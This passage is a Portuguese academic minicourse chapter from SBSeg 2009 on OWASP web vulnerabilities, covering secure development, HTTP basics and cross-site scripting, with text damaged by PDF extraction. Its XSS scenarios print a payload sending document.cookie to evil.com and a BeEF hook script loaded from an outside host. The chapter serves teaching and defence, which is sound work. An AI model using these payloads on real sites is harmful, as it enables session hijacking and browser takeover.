2009 - Vulnerabilidades em Aplicações Web e Mecanismos de Proteção

Cap tulo
6
Vulnerabilidades em Aplicaes Web e co Mecanismos de Proteo ca
Nelson Uto1 e Sandro Pereira de Melo2
1 CPqD,
Campinas, SP, Brasil uto@cpqd.com.br

2 Locaweb,
So Paulo, SP, Brasil a sandro@ginux.ufla.br
Abstract The purpose of this chapter is to discuss the present most common web application vulnerabilities, according to OWASP, and show through several scenarios how they can be exploited by malicious users. We present a brief description of each vulnerability and give its root causes, in order to help the reader understand why it happens. Considering that security and functional tests are fundamentally dierent, we describe what to look for when searching for web application weaknesses. Since the best approach in security is to be proactive, we provide a list of controls that should be in place to avoid those problems in the rst place. Resumo O objetivo deste captulo apresentar as vulnerabilidades mais comuns que afetam e aplicaes web, de acordo com o OWASP, e mostrar, por meio de diversos cenrios, co a como elas podem ser exploradas por usurios maliciosos. Uma breve descrio de a ca cada vulnerabilidade apresentada, juntamente com as causas principais, para que e o leitor compreenda porque elas ocorrem. Considerando que testes funcionais e de segurana so fundamentalmente diferentes, descreve-se o que procurar durante o c a processo de deteco de fraquezas nessas aplicaes. Finalmente, como a melhor ca co abordagem para segurana ser pr-ativo, uma lista de controles para evitar a prec e o sena dessas vulnerabilidades fornecida. c e
237
238
Minicursos SBSeg 2009
6.1. Introduo ca
Vulnerabilidades em softwares tm sido amplamente utilizadas por atacantes, para e roubo de informaoes condenciais e invases de redes corporativas. Prover a sec o gurana de um software, porm, no um objetivo fcil de ser alcanado, dada a c e a e a c complexidade dos sistemas nos dias de hoje. Facilmente, eles atingem dezenas de milhares de linhas de cdigo, que contm, invariavelmente, uma quantidade de defeio e tos signicativa. Alguns destes tm impacto direto em segurana, podendo acarretar e c desde a indisponibilidade do sistema, at o controle total do computador por um e atacante. Para piorar ainda mais este cenrio, considere-se que, normalmente, um a ciclo de desenvolvimento de software seguro no adotado, o que resulta, no m a e nimo, em especicaoes inseguras e conguraao vulnervel das plataformas subjacentes. c c a Para se ter uma idia mais clara do mundo real, no per e odo de 2001 a 2006, o nmero de vulnerabilidades em sistemas reportado ao Common Vulnerabilities and u Exposures, simplesmente, triplicou. Alm disso, houve uma mudana nos tipos de e c fraquezas mais comumente encontradas, como poss observar-se na Figura 6.1. e vel O estouro de pilha, campeo da lista por muitos anos consecutivos, perdeu o lugar, a a partir de 2005, para vulnerabilidades de injeao de cdigo, como o cross-site scripting c o e injeo SQL. Estes tipos de fraquezas afetam, basicamente, sistemas web e indicam ca duas coisas:
Figura 6.1. Progresso da ocorrncia das principais vulnerabilidades reportadas ao CVE. a e
A recente popularizao das interfaces web para comrcio eletrnico, internet ca e o banking e conguraao de elementos de rede; c Os problemas de segurana deste dom no esto sendo adequadamente conc nio a a siderados durante o processo de desenvolvimento, tanto por ignorncia como a pela presso causada por cronogramas de entrega apertados. a
IX Simpsio Brasileiro em Segurana da Informao e de Sistemas Computacionais
239
` A luz deste contexto, o objetivo do presente cap tulo analisar as principais e vulnerabilidades que afetam aplicaes web, segundo classicao do grupo OWASP, co ca ilustrando para cada uma delas as causas, efeitos, testes para detecao e mecanismos c de proteo. O restante deste documento est organizado da seguinte maneira: a ca a Seo 6.2 tece alguns comentrios sobre o desenvolvimento de software seguro; os ca a principais projetos do grupo OWASP, especializado em segurana de aplicaoes web, c c so introduzidos na Seao 6.3; na Seao 6.4, alguns conceitos importantes para o ena c c tendimento do texto so brevemente revisados; a Seao 6.5 o corao do cap a c e ca tulo, pois realiza a anlise das principais vulnerabilidades em aplicaes web; nalmente, a co na Seo 6.6, so apresentadas concluses sobre os problemas que, atualmente, afeca a o tam aplicaoes web. c
6.2. Ciclo de Desenvolvimento de Software Seguro

Um software seguro aquele que satisfaz os requisitos impl e citos e expl citos de segurana em condies normais de operao e em situaoes decorrentes de atividade c co ca c maliciosa de usurios. Para isso, deve resultar de um ciclo de desenvolvimento que a considere aspectos de segurana em todas as suas fases, da especicaao ` implantac c a ao em produao (McGraw, 2006; Kissel et al., 2008). Todavia, muitos desenvolvec c dores comeam a se preocupar com segurana, somente quando o software est quase c c a nalizado, pois acreditam, erroneamente, ser poss trabalhar dessa maneira. Tal vel abordagem s contribui para um maior custo, pois as correoes de vulnerabilidades o c tornam-se mais caras ` medida que se avana pelas fases de desenvolvimento, como a c ilustrado na Tabela 6.1, extra de Wysopal et al. (2006). da
Tabela 6.1. Custo relativo de correo de software de acordo com a fase do ciclo de ca desenvolvimento.
Fase Custo relativo para correo ca Deniao c 1 Projeto alto n vel 2 Projeto detalhado 5 Codicaao c 10 Teste de unidade 15 Teste de integraao c 22 Teste de sistema 50 Ps-entrega o 100
Cada fase de um ciclo de desenvolvimento de software seguro, portanto, tem sua parcela de contribuio para a qualidade do resultado nal e no pode ser omitida ca a durante o processo. Na etapa de especicao, requisitos expl ca citos de segurana c devem ser enumerados e requisitos funcionais devem ser avaliados, para vericar se no introduzem uma vulnerabilidade no sistema. Um caso ilustrativo o do suposto a e Microsoft Bob, um programa criado para auxiliar o usurio do sistema operacional a sempre que se encontrasse em diculdades na realizaao de alguma tarefa. Seguindo c essa losoa, sempre que um usurio errasse a senha trs vezes consecutivas, ele a e
240
aparecia e perguntava se desejava troc-la, para conectar-se ao ambiente (McGraw, a 2006). Nesta situaao, no importa quo bem implementada esteja a funcionalidade, c a a que o sistema continuar intrinsecamente inseguro. a Atividades comumente realizadas na fase seguinte, a de projeto, incluem o mapeamento do modelo de dados para estruturas lgicas e f o sicas, a denio de paca dres de interface a serem utilizados, a escolha de elementos de hardware e software o que faro parte da soluo e o desenho da topologia a ser adotada. Nesse contexto, a ca um problema muito comum de segurana que surge o posicionamento incorreto c e do banco de dados na topologia de rede. Para ilustrar esse ponto, considere-se o levantamento realizado por Litcheld, no nal de 2005, em que foram detectados cerca de 350 mil bancos de dados, contendo dados de produao, diretamente na c DMZ externa das empresas (Litcheld, 2007). Esse exemplo evidencia pelo menos um dos inmeros aspectos de segurana que devem ser considerados no projeto do u c software, ao lado de decises sobre protocolos seguros de comunicaao e seleao de o c c algoritmos criptogrcos. a O prximo passo consiste na implementao do software propriamente dito, o ca em uma ou mais linguagens de programaao, dependendo de cada caso. Para mic nimizar vulnerabilidades de codicao, os desenvolvedores devem ser treinados em ca tcnicas gerais de programao segura e nas especicidades das linguagens com as e ca quais trabalham. Por exemplo, estouro de pilha um problema comum em prograe mas feitos em C e C++ (Seacord, 2005), mas no ocorre na linguagem Java, pois a a mquina virtual verica se um acesso a um vetor est dentro dos limites poss a a veis. Ferramentas automatizadas para reviso de cdigo podem ser de grande ajuda na a o identicaao de padres reconhecidamente inseguros de programao, como o uso c o ca das funoes strcpy() e strcmp() em C/C++. c Testes de segurana so fundamentalmente diferentes de testes funcionais e, c a por isso, devem ser feitos por prossionais especializados. Os ultimos so descritos a em casos de testes, os quais denem um roteiro dos passos a serem seguidos e o resultado esperado de um comportamento no defeituoso. Obviamente, nenhum sistema a criado com caminhos documentados de como os requisitos de segurana podem e c ser subjugados, e a reside a diferena. Portanto, ao procurar vulnerabilidades em c um software, o testador segue uma linha de racioc diferente da tradicional, ao no colocar-se no lugar do usurio malicioso, que tenta encontrar uxos no previstos a a que possam comprometer a aplicaao. A automaao de algumas tarefas nesse proc c cesso pode implicar ganho de produtividade, mas o papel do especialista continua sendo fundamental. Por m, e no menos importantes, encontram-se a implantaao do sistema no a c ambiente de produo e a manutenao. Antes da liberaao para o uso, fundamental ca c c e que todos os servidores utilizados pela aplicaao sejam robustecidos, com eliminaao c c de servios e contas desnecessrios e conguraao dos parmetros de segurana de c a c a c acordo com as melhores prticas estabelecidas para as plataformas. Correoes de a c segurana devem ser aplicadas periodicamente no ambiente, principalmente, aquelas c consideradas cr ticas. Caso criptossistemas com chave sejam empregados, procedimentos adequados de gerenciamento de chaves criptogrcas devem ser adotados a
241
(Menezes et al., 2001; Barker et al., 2007a,b). E, no caso de comprometimento do sistema, o problema deve ser identicado e imediatamente corrigido. Invariavelmente, todo software sempre apresenta uma ou mais falhas de segurana, ao longo de sua existncia. Assim, razovel concluir que utpico construir c e e a e o um sistema completamente invulnervel. Porm, com um ciclo de desenvolvimento a e seguro, poss e vel, no m nimo, produzir consistentemente sistemas com um nmero u reduzido de brechas e que possuam mecanismos de proteo contra os diversos ataca ques conhecidos.
6.3. OWASP
O grupo Open Web Application Security Project uma organizaao mundial, sem e c ns lucrativos, que visa divulgar aspectos de segurana de aplicaoes web, para que c c o risco nesses ambientes seja devidamente avaliado por pessoas e empresas. Existem, hoje, 130 cap tulos locais, espalhados pelos cinco continentes, todos abertos, gratuitamente, para participaao de pessoas interessadas no assunto. A entidade, c alm de organizar conferncias internacionais e encontros sobre o tema, mantm e e e diversos projetos, que variam de guias de implementaao segura a ferramentas. Os c trabalhos do OWASP relevantes para este documento esto brevemente descritos a nos pargrafos a seguir: a Top Ten uma lista, j na segunda verso, das dez vulnerabilidades mais e a a cr ticas presentes em aplicaes web, segundo a experincia prtica de diversos co e a especialistas membros da organizaao. Por essa razo, foi adotado pelos pac a dres PCI DSS (PCI, 2009a) e PCI PA-DSS (PCI, 2009b), para gurar como o os itens m nimos que devem ser considerados na codicaao segura de sistec mas web. Pelo mesmo motivo, tambm serviu de base para as vulnerabilidades e abordadas no presente documento. Guia de desenvolvimento (Wiesmann et al., 2005) descreve as melhores prtia cas de segurana para o projeto, desenvolvimento e implantao de sistemas e c ca servios web e inclui diversos exemplos prticos de cdigos em J2EE, ASP.NET c a o e PHP. Guia de testes (Meucci et al., 2008) fornece metodologia e procedimentos detalhados para a realizaao de testes de invaso em aplicaoes web, com c a c cobertura das principais vulnerabilidades conhecidas. So apresentados testes a caixa-preta e, tambm, caixa-cinza. e Guia de reviso de cdigo (van der Stock et al., 2008) livro que ilustra como a o encontrar vulnerabilidades em aplicaoes web, por meio da inspeao do cdigo c c o fonte. Contm exemplos em diversas linguagens como Java, C, C++ e ASP. e WebScarab ferramenta escrita em Java, para ser utilizada em testes de segurana de aplicaoes web. A principal funcionalidade atuar como um proxy c c e entre o navegador e o servidor web, permitindo interceptar requisioes e resposc tas e alter-las, se desejado. Outras opoes existentes permitem, por exemplo, a c
242
automatizar testes de injeo, analisar a aleatoriedade de identicadores de ca sesso e repetir requisioes contidas no histrico. a c o WebGoat uma aplicaao web propositadamente insegura criada com o e c objetivo de ensinar os conceitos de segurana web e testes de invaso. Parte c a dos exemplos deste texto so baseados nesta ferramenta. a
6.4. Reviso de Conceitos a

6.4.1. Protocolo HTTP HyperText Transfer Protocol (HTTP) (Fielding et al., 1999) um protocolo da e camada de aplicaao, utilizado na distribuio de documentos de hipertexto, os quais c ca so a base da World Wide Web. Esta foi a grande responsvel pela popularizaao da a a c Internet e a face mais conhecida da rede mundial. No in e cio, os recursos acessados por meio de HTTP eram todos estticos, bem diferente dos dias de hoje, em que o a contedo gerado dinamicamente, de acordo com a interaao do usurio com o site. u e c a O protocolo opera no estilo cliente-servidor, no qual o navegador web (cliente) realiza uma requisio de recurso a um servidor web, que responde com o contedo ca u solicitado, se existir. O transporte dos dados, normalmente, realizado por meio de e TCP/IP, mas isso no um requisito; basta que o protocolo utilizado fornea entrega a e c convel. Apesar disso, HTTP no orientado a conexo e, assim, um protocolo a a e ` a e que no mantm estado das conversaes. Considerando como era utilizado nos a e co primrdios, isso, de fato, no era uma necessidade. o a Os recursos so identicados de maneira unica por meio de Uniform Resource a Locators (URLs), que correspondem aos endereos que usurios digitam nos navec a gadores para acessarem sites espec cos. Uma URL dene o protocolo de acesso, o servidor do recurso, porta utilizada, caminho no servidor at o elemento, nome do e recurso e parmetros. Note-se que nem todos esses itens so obrigatrios em uma a a o requisiao. c O protocolo HTTP no possui nativamente nenhum mecanismo para proteger a os dados que carrega. Assim, informaoes podem ser adulteradas, injetadas ou c removidas, de maneira no autorizada, durante o trnsito at o cliente ou servidor. a a e Para preencher essa lacuna, o HTTP pode ser utilizado sobre os protocolos SSL ou TLS, que fornecem servios para autenticaao de entidades, autenticaao da c c c origem da mensagem, integridade e sigilo do canal de comunicao. Este o padro ca e a empregado para transporte de dados sigilosos em aplicaes bancrias e de comrcio co a e eletrnico, por exemplo. o 6.4.1.1. Requisio ca Para acessar um recurso em um servidor, uma requisio HTTP deve ser realizada ca pelo cliente, de acordo com um formato pr-estabelecido, contendo trs seoes. A e e c primeira consiste de uma linha descrevendo a requisio; em seguida, diversas linhas ca compem os cabealhos HTTP pertinentes; a terceira seao, opcional, corresponde o c c ao corpo da mensagem e deve vir separada da segunda, por uma linha em branco.
243
Como ilustraao, considere que um usurio deseja ver o site do SBSeg 2009, c a utilizando o navegador Firefox. A seguinte requisiao feita pelo software: c e GET http://sbseg2009.inf.ufsm.br:80/sbseg2009/ HTTP/1.1 Host: sbseg2009.inf.ufsm.br User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0. 13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pt-br,pt;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive A primeira linha sempre composta por um mtodo HTTP (GET), o recurso e e identicado por uma URL (http://sbseg2009...) e a verso do protocolo utilizada a (HTTP/1.1). As demais linhas do exemplo so cabealhos, que identicam, entre a c outras coisas, o nome de dom nio do servidor, o navegador utilizado, o tipo de sistema operacional do cliente e tipos de contedos e codicaoes aceitos. u c 6.4.1.2. Resposta A resposta do servidor a uma requisiao, tambm, composta por trs seoes: c e e e c Linha de estado descrevendo o protocolo/verso utilizados, cdigo de estado a o e um valor textual, que no interpretado, hoje, pelos navegadores (Stuttard a e and Pinto, 2007). Seqncia de cabealhos fornecendo informaoes como data, servidor e tipo do ue c c contedo. u Contedo referente ao recurso solicitado, separado das seoes anteriores, por u c uma ou mais linhas em branco. O resultado da requisiao da seao anterior est ilustrado a seguir. E imc c a portante mencionar que uma resposta pode gerar novas requisioes, caso o contedo c u apresentado possua elementos como imagens e scripts com especicao de arquivos. ca HTTP/1.1 200 OK Date: Sun, 23 Aug 2009 13:03:23 GMT Server: Apache/2.2.9 (Ubuntu) PHP/5.2.9-0.dotdeb.2 with Suhosin-Patch X-Powered-By: PHP/5.2.9-0.dotdeb.2 Set-Cookie: SESScf36402703de110533bce89bc3e3ec75=174307300c76fd481652 cc52f366eadb; expires=Tue, 15-Sep-2009 16:36:43 GMT; path=/; domain= .sbseg2009.inf.ufsm.br
244
Last-Modified: Fri, 21 Aug 2009 15:39:27 GMT ETag: "79db38f60d123a07bbfdfa71a5feba63" Expires: Sun, 19 Nov 1978 05:00:00 GMT Cache-Control: must-revalidate X-Content-Encoding: gzip Content-length: 2634 Content-Type: text/html; charset=utf-8 X-ManualEdit: possibly modified <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="pt-br" xml:lang="pt-br"> ... 6.4.1.3. Mtodos e H oito mtodos, ao todo, especicados pelo protocolo HTTP, os quais indicam a a e aao solicitada pela requisiao. Os dois mais importantes, no escopo deste texto, so c c a os mtodos GET e POST. O primeiro utilizado para solicitar pginas ao servidor e e a e permite que parmetros sejam passados como parte da URL do recurso. Isso a implica que informaoes sens c veis no devem ser passadas por meio de GET, pois a elas sero exibidas em histricos de navegadores e registradas em trilhas de auditoria, a o no servidor web. O mtodo POST empregado para submeter aes ao servidor e e e co os parmetros podem ser passados como parte do corpo da mensagem e, tambm, a e da URL. 6.4.1.4. Cdigos de estado o Cdigos de estado so valores numricos de trs digitos, que fazem parte da primeira o a e e linha da resposta do servidor a uma requisiao e denotam o resultado da solicitao. c ca So divididos em cinco classes, de acordo com o signicado: a 1xx cdigos de informaao. Atualmente, so raramente utilizados (SANS, o c a 2008b). 2xx indicam que a requisiao foi atendida com sucesso. Ex.: 200 OK c resposta padro, quando o recurso provido sem erros. a e 3xx informam que o cliente precisa realizar aoes adicionais para completar c a requisio. Ex.: 301 Moved Permanently faz com que requisioes subca c seqentes da URL solicitada sejam permanentemente redirecionadas para a u informada na mensagem. 4xx enviadas quando a requisiao no pode ser atendida, por erro de sintaxe, c a falta de autorizao ou porque o recurso no foi encontrado. Ex.: 404 Not ca a Found o recurso no pde ser encontrado no servidor. a o
245
5xx indicam erros no servidor que o impediram de atender a requisiao. Ex.: c 501 Not Implemented o servidor no suporta o mtodo solicitado. a e 6.4.1.5. Cabealhos c Os cabealhos compem a segunda seao das requisies e respostas e denem vrias c o c co a caracter sticas importantes de ambas. So compostos do nome e do valor, separados a pelo sinal de dois-pontos, e listados um por linha. Os itens abaixo explicam alguns dos cabealhos encontrados nos exemplos das Seoes 6.4.1.1 e 6.4.1.2: c c Host nome de dom nio do servidor. User-Agent indica a aplicaao cliente que gerou a requisio. c ca Accept tipos de contedo aceitos pela aplicaao cliente. u c Server nome do servidor e informaoes do sistema operacional. Se nenhum c mecanismo de camuagem for utilizado, pode ser empregado para identicaao c do elemento, durante a fase de reconhecimento em um ataque. Set-Cookie dene um cookie no navegador, que o mecanismo utilizado para e manter uma sesso, no protocolo HTTP. a Expires determina a validade do corpo da mensagem, isto , at que instante e e o navegador pode utiliz-lo, a partir de uma cpia local, sem necessitar realizar a o novas requisies para o mesmo recurso. co Content-Length o comprimento em bytes do corpo da mensagem. 6.4.1.6. Cookies Um cookie um elemento do protocolo HTTP, enviado ao navegador pelo servidor, e com o objetivo de lembrar informaes de um usurio espec co a co. E formado por uma cadeia de caracteres, normalmente, organizada em pares nome/valor, separados por ponto-e-v rgula. Uma vez denido, enviado pelo navegador em toda requisio e ca subseqente ao mesmo dom u nio. Dois usos principais incluem a manutenao de sesc so, uma vez que isso no suportado nativamente pelo protocolo, e a autenticao a a e ca de usurios. a Alguns atributos podem ser denidos para os cookies, alm dos pares cone tendo nome e valor (Stuttard and Pinto, 2007): expires dene por quanto tempo o cookie vlido e, assim, permite que o e a estado se mantenha aps o navegador ser encerrado. o domain dene para quais dom nios o cookie vlido, desde que o servidor e a seja um membro daqueles.
246
path dene os caminhos para os quais cookie vlido. e a secure demanda que o cookie seja enviado somente em requisioes feitas por c meio de HTTPS. HttpOnly quando denido, impede que seja acessado por cdigo executado o no lado do cliente. Porm, nem todo navegador honra esse atributo. e 6.4.1.7. Autenticao HTTP ca O protocolo HTTP possui dois mtodos nativos, Basic e Digest, para autenticar e usurios, antes que acessem recursos protegidos do servidor (Franks et al., 1999). a Ambos seguem o seguinte uxo geral: 1. Usurio solicita um recurso protegido do servidor. a 2. Se o usurio ainda no se autenticou, uma resposta com cdigo de estado 401 a a o Unauthorized enviada ao navegador, juntamente com um cabealho WWWe c Authenticate, que dene o tipo requerido de autenticaao. c 3. O usurio fornece usurio e senha em uma caixa de dilogo, os quais so a a a a enviados, em um cabealho Authorization, codicados em BASE64, no caso c de Basic, e protegidos pelo algoritmo MD5, no caso de Digest. 4. Se as credenciais enviadas forem vlidas, o servidor fornece o recurso solicia tado e as credenciais so inclu a das em toda requisiao subseqente ao mesmo c u dom nio. Seno, o uxo retorna ao segundo passo. a A impossibilidade de travamento de conta por mltiplas tentativas sucessiu vas e invlidas de autenticaao e a inexistncia de mecanismos de encerramento de a c e sesso (exceto, fechando-se o navegador) so alguns dos problemas desses mtodos a a e de autenticao (SANS, 2008b). ca 6.4.2. Certicado Digital Existe muita confuso na literatura e entre prossionais de segurana sobre o que a c muito comum encontrar armaes de que ele realmente um certicado digital. E e co serve para autenticar uma entidade, como um servidor web, por exemplo. Mas, isso est longe de ser a verdade. O propsito de um certicado, na realidade, atestar a a o e autenticidade da chave pblica de uma entidade, condiao que fundamental para u c e o emprego de criptossistemas assimtricos (Menezes et al., 2001). e Isso obtido pela conana depositada em uma terceira parte convel, a e c a autoridade certicadora (AC), que assina digitalmente um documento eletrnico o contendo informaes sobre uma dada entidade e a chave pblica autntica dela. co u e Esses dados mais a assinatura digital compem o certicado digital, que pode ser o distribu por canais inseguros, sem o risco de adulterao indetectvel. A emisso, do ca a a como chamado o processo descrito, deve ocorrer apenas aps a AC, com a diligncia e o e
247
devida, vericar documentos comprobatrios da identidade da entidade e que ela tem o a posse da chave privada associada. Para validar um certicado digital, necessrio vericar se a data atual est e a a dentro do prazo de validade do certicado, se ele no est revogado e se a assinatura a a digital da autoridade certicadora est correta. Esta ultima parte requer a chave a pblica autntica da AC, a qual pode ser obtida por meio de um certicado digital u e emitido para ela, por uma AC de n vel superior, ou por meio de um certicado auto-assinado, caso seja uma AC raiz. Neste ultimo caso, o certicado assinado e com a prpria chave privada associada ` chave pblica contida nele. Uma vez que o a u qualquer pessoa pode gerar um certicado assim, primordial que seja fornecido por e um canal autntico e e ntegro.
6.5. Vulnerabilidades
Esta seao discute algumas das vulnerabilidades consideradas pelo projeto OWASP c Top Ten, com a seguinte abordagem: inicialmente, uma breve descrio da fraqueza ca e as causas de ocorrncia so apresentadas; em seguida, ela ilustrada com cenrios e a e a de exploraao, na grande maioria, baseados no WebGoat e, adicionalmente, na exc perincia prtica dos autores; depois, testes que podem ser efetuados para detectar e a o problema so introduzidos e, por m, explicam-se as contramedidas que podem a ser adotadas para evitar-se a criaao de aplicaoes contendo a vulnerabilidade. c c 6.5.1. Cross Site Scripting 6.5.1.1. Descrio e Causas ca Cross Site Scripting, tambm conhecido como XSS3 , o defeito mais comumente e e encontrado em aplicaoes web e permite utilizar uma aplicao vulnervel, para c ca a transportar cdigo malicioso, normalmente escrito em Javascript, at o navegador o e de outro usurio. Dada a relaao de conana estabelecida entre o navegador e a c c o servidor, aquele entende que o cdigo recebido leg o e tmo e, por isso, permite que informaes sens co veis, como o identicador da sesso do usurio, por exemplo, sejam a a acessadas por ele. Com isso em mos, um usurio malicioso pode seqestrar a sesso a a u a da pessoa atacada (Stuttard and Pinto, 2007; Howard et al., 2005; Fogie et al., 2007). Esta vulnerabilidade ocorre sempre que uma aplicaao web no valida inforc a maoes recebidas de uma entidade externa (usurio ou outra aplicao) e as insere c a ca inalteradas em alguma pgina gerada dinamicamente. A razo disso que qualquer a a e cdigo contido naquelas informaoes ser interpretado como tal, pelo navegador do o c a usurio que realiza o acesso, e executado automaticamente, no contexto da sesso. a a Para exemplicar, imagine que o texto fornecido e integralmente exibido pela aplicaao seja <script>alert("XSS")</script>. O resultado do ataque est ilustrado c a na Figura 6.2, juntamente com o trecho de cdigo-fonte pertinente. o Dependendo de como o contedo malicioso chega at a v u e tima, o XSS clase sicado em XSS reetido ou XSS armazenado.
3A
sigla utilizada no CSS, para no ser confundida com Cascade Style Sheets. a e a
248
Figura 6.2. Exemplo de vulnerabilidade XSS.
XSS Reetido Nesta classe de XSS, o cdigo enviado na URL ou no cabealho HTTP, como o e c parte da requisiao, explorando um parmetro que exibido sem tratamento na c a e pgina resultante. Normalmente, requer que o usurio seja induzido a clicar em um a a link especialmente constru do, com contedo malicioso. De acordo com Stuttard u and Pinto (2007), muito comum em pginas dinmicas utilizadas para exibiao de e a a c mensagens parametrizadas de erro. Veja-se, a seguir, os passos necessrios para a exploraao da vulnerabilidade: a c 1. O atacante fornece a v ` tima uma URL para a aplicao vulnervel, com cdigo ca a o Javascript embutido em um dos parmetros; a 2. A v tima solicita a aplicao vulnervel o recurso identicado pela URL for` ca a necida no primeiro passo; 3. A aplicao atende a requisiao e reete o cdigo malicioso para o navegador ca c o do usurio; a 4. O Javascript escrito pelo atacante executado na mquina do usurio, como e a a se fosse proveniente da aplicaao. c Como exemplo, considere-se uma aplicao que possua um campo de busca ca e que exiba uma mensagem de erro contendo o valor digitado, quando ele no for a encontrado na base de dados. Supondo que a requisiao feita pelo mtodo GET c e e e a informaao procurada passada no parmetro search_name, a seguinte URL c e a pode ser empregada em um XSS reetido: http://localhost:8080/WebGoat/attack?Screen=33&menu=900& search_name=X<script>alert(%22XSS%20Refletido%22) </script>&action=FindProfile Note-se que, alm do texto X, um cdigo Javascript para exibiao de caixa e o c de mensagem passado como parte do parmetro search_name. Dada a inexistncia e a e do valor na base, a aplicaao exibe pgina de erro, informando que X<script>... c a
249
no foi encontrado. Ao realizar isso, porm, o cdigo fornecido em search_name a e o e embutido no HTML e executado pelo navegador, como ilustrado na Figura 6.3.
Figura 6.3. Exemplo de XSS reetido.
XSS Armazenado XSS armazenado ou persistente recebe este nome porque o cdigo malicioso aro e mazenado pela aplicao, normalmente em um banco de dados, e exibido a todos ca os usurios que acessarem o recurso. E um tipo mais perigoso, pois pode afetar a uma quantidade maior de usurios, de uma unica vez, alm de no ser necessrio a e a a induzi-los a seguir um link para serem atacados. Um exemplo comum um frum de discusso, em que alguns usurios expem e o a a o as dvidas deles, para que outros as esclaream. Neste caso, os passos para realizar u c um XSS armazenado esto representados na Figura 6.4 e descritos a seguir: a
Figura 6.4. Exemplo de XSS armazenado.
250
1. Um usurio malicioso insere cdigo (<script>alert("XSS")</script>, por a o exemplo) no corpo da pergunta e a submete a aplicao defeituosa, que, por ` ca esse motivo, no valida a entrada e armazena o texto integralmente no banco a de dados; 2. Um outro usurio verica a lista de perguntas e resolve acessar justamente a aquela com contedo malicioso; u 3. A aplicao recupera a informao do banco de dados e a utiliza para gerar a ca ca pgina solicitada; a 4. O Javascript escrito pelo atacante transportado at o navegador do usurio, e e a onde executado. e 6.5.1.2. Cenrios de Explorao a ca Geralmente, um ataque de cross site scripting demonstrado por meio da exibio e ca de uma caixa de mensagem, como nos exemplos desta seao. Esta prtica deu origem c a ao mito de que XSS no um grande problema de segurana, pois passa a idia de a e c e que isso o mximo que se pode fazer. No entanto, por meio da explorao da e a ca vulnerabilidade, poss (SANS, 2008b,a; Stuttard and Pinto, 2007): e vel Seqestrar uma sesso da aplicaao; u a c Redirecionar o usurio para outra pgina; a a Realizar uma varredura na rede local da v tima, aproveitando-se de que o contedo malicioso j est no segmento interno da rede; u a a Desgurar pginas HTML a medida que so recebidas; a ` a Instalar um keylogger ; Criar uma teia de navegadores escravos, que executar comandos Javascript a arbitrrios. a Qualquer uma das situaes acima, claramente, bem mais cr co e tica que a simples exibiao de uma mensagem. Imagine-se, por exemplo, uma aplicao de c ca internet banking vulnervel, que permita seqestrar sesses de outros usurios. Os a u o a efeitos podem ser catastrcos, se outros controles no estiverem presentes. Este o a tipo de exploraao, juntamente com a escravizao de navegadores, detalhado nos c ca e prximos pargrafos. o a Cenrio 1: Sequestro de sesso a a Os pargrafos abaixo ilustram como um ataque de cross site scripting pode ser a utilizado para obtenao do identicador de sesso, e consequente seqestro desta: c a u
251
1. Um usurio malicioso acessa a aplicao e introduz o seguinte cdigo em um a ca o campo vulnervel: a <script> document.write(<img src="https://evil.com/Inv.htm?SID= + document.cookie + ">) </script> 2. A v tima se autentica na aplicaao e, como sempre, recebe um identicador de c sesso, conforme ilustrado na Figura 6.5. a 3. Em seguida, o usurio acessa uma pgina que exibe a informao obtida a a a ca partir do campo vulnervel. a 4. O cdigo malicioso transportado at o navegador da v o e e tima e, quando executado, inclui uma imagem dinamicamente na pgina sendo exibida. Utiliza-se a um marcador para imagem, em vez de um link, porque o primeiro busca o recurso automaticamente, sem precisar de intervenao do usurio. Assim, uma c a requisiao contendo o identicador de sesso da v c a tima feita para evil.com, e servidor dominado pelo atacante. 5. O atacante acessa as trilhas de requisioes do servidor evil.com e procura por c registros como o seguinte: [13/Aug/2009:22:01:04 -0400] 192.168.10.1 TLSv1 DHE-RSA-AES256SHA "GET /Inv.htm?SID=JSESSIONID=928261AAAFB29F3A4847BEAD4E9C8E 12 HTTP/1.1" 289 6. Para nalizar, o usurio malicioso envia uma requisiao a aplicaao, mas subsa c ` c tituindo o identicador de sesso atribu a ele pelo obtido na trilha de aua do ditoria. O sistema entender que a solicitaao partiu da v a c tima, com base no identicador enviado.
Cenrio 2: Escravizao de navegador a ca BeEF um arcabouo para exploraao avanada de navegadores, baseado na linguae c c c gem Javascript. Basta que o script de controle seja executado, para que o navegador passe a gurar como um zumbi a merc do atacante. A partir disso, cdigo arbi` e o trrio pode ser executado na mquina cliente, possibilitando realizar varreduras de a a rede, capturar identicadores de sesso e roubar dados da area de transferncia do a e a Windows, se verses antigas de Internet Explorer forem utilizadas. E fcil perceber, o nesse contexto, como um ataque XSS pode ser empregado: 1. Usurio malicioso acessa a aplicaao e insere o seguinte cdigo em um campo a c o vulnervel: a
252
Figura 6.5. Identicador de sesso do usurio guest. a a
<script src="http://www.beef.com/beef/hook/beefmagic.js.php"> </script> 2. V tima se autentica na aplicaao e, em seguida, acessa uma pgina que exibe c a a informaao obtida a partir do campo vulnervel. c a 3. O script do BeEF executado e conecta-se ao gerenciador, escravizando o e navegador. A Figura 6.6 ilustra a tela de gerenciamento do BeEF com dois zumbis sendo controlados. Observe-se que o sistema operacional e o navegador dos zumbis identicado, assim como o identicador de sesso e a URL do e a recurso que carregou o script. 4. A partir desse momento, o atacante pode executar Javascript arbitrrio no a novo zumbi.
